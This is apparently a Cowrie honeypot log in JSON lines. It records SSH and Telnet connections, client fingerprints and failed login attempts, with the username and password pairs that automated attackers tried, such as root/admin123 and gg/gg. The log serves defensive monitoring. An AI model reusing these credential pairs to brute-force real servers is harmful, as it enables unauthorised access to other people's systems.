{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:42.630327Z","src_ip":"91.92.42.227","session":"7e47474ee163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:45.005907Z","src_ip":"91.92.42.227","session":"1bbe255b2673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40274,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4f9cd66beae","protocol":"ssh","message":"New connection: 168.167.228.74:40274 (159.203.135.109:22) [session: c4f9cd66beae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:45.233548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:45.237941Z","src_ip":"168.167.228.74","session":"c4f9cd66beae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:45.486808Z","src_ip":"168.167.228.74","session":"c4f9cd66beae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cy","password":"123qwe","message":"login attempt [cy/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:46.511073Z","src_ip":"168.167.228.74","session":"c4f9cd66beae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.245.48","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"c44c4aadfa77","protocol":"telnet","message":"New connection: 160.191.245.48:43858 (159.203.135.109:23) [session: c44c4aadfa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:47.039511Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:47.774788Z","src_ip":"168.167.228.74","session":"c4f9cd66beae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modzmodz","message":"login attempt [root/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:49.324836Z","src_ip":"91.92.42.227","session":"7e47474ee163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48966,"dst_ip":"10.17.0.5","dst_port":22,"session":"a33c623fcfe8","protocol":"ssh","message":"New connection: 91.92.42.227:48966 (10.17.0.5:22) [session: a33c623fcfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:50.240746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:51.219436Z","src_ip":"91.92.42.227","session":"a33c623fcfe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:51.224630Z","src_ip":"91.92.42.227","session":"a33c623fcfe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:51.431059Z","src_ip":"91.92.42.227","session":"7e47474ee163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":24662,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f278c3ef28","protocol":"ssh","message":"New connection: 38.93.206.2:24662 (159.203.135.109:22) [session: 17f278c3ef28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:52.641549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:52.659319Z","src_ip":"38.93.206.2","session":"17f278c3ef28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:52.711845Z","src_ip":"38.93.206.2","session":"17f278c3ef28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"911111","message":"login attempt [root/911111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:52.872733Z","src_ip":"38.93.206.2","session":"17f278c3ef28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:53.928012Z","src_ip":"38.93.206.2","session":"17f278c3ef28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:58.702840Z","src_ip":"91.92.42.227","session":"a33c623fcfe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43580,"dst_ip":"10.17.0.5","dst_port":22,"session":"1065d138ba4a","protocol":"ssh","message":"New connection: 91.92.42.227:43580 (10.17.0.5:22) [session: 1065d138ba4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:59.211815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:00.166239Z","src_ip":"91.92.42.227","session":"1065d138ba4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:00.172650Z","src_ip":"91.92.42.227","session":"1065d138ba4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:00.525172Z","src_ip":"91.92.42.227","session":"a33c623fcfe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:04.331973Z","src_ip":"91.92.42.227","session":"1065d138ba4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46830,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2fa2f0d0d39","protocol":"ssh","message":"New connection: 91.92.42.227:46830 (10.17.0.5:22) [session: f2fa2f0d0d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:05.763665Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:06.308307Z","src_ip":"91.92.42.227","session":"1065d138ba4a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:06.670518Z","src_ip":"91.92.42.227","session":"f2fa2f0d0d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:06.683876Z","src_ip":"91.92.42.227","session":"f2fa2f0d0d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52266,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b31d59bf0c3","protocol":"ssh","message":"New connection: 147.45.199.80:52266 (10.17.0.5:22) [session: 4b31d59bf0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:08.048125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:08.052135Z","src_ip":"147.45.199.80","session":"4b31d59bf0c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:08.147930Z","src_ip":"147.45.199.80","session":"4b31d59bf0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180882","message":"login attempt [root/180882] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:08.678880Z","src_ip":"147.45.199.80","session":"4b31d59bf0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:09.777424Z","src_ip":"147.45.199.80","session":"4b31d59bf0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:11.370559Z","src_ip":"91.92.42.227","session":"f2fa2f0d0d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46890,"dst_ip":"10.17.0.5","dst_port":22,"session":"85efc73452a0","protocol":"ssh","message":"New connection: 91.92.42.227:46890 (10.17.0.5:22) [session: 85efc73452a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:12.522774Z"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:13.451586Z","src_ip":"91.92.42.227","session":"f2fa2f0d0d39","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:13.542860Z","src_ip":"91.92.42.227","session":"85efc73452a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:13.546608Z","src_ip":"91.92.42.227","session":"85efc73452a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.56793999671936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:18.607349Z","src_ip":"160.191.245.48","session":"c44c4aadfa77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:18.916325Z","src_ip":"91.92.42.227","session":"85efc73452a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51620,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ae0ec1c124","protocol":"ssh","message":"New connection: 91.92.42.227:51620 (10.17.0.5:22) [session: 20ae0ec1c124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:19.035090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:20.094051Z","src_ip":"91.92.42.227","session":"20ae0ec1c124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@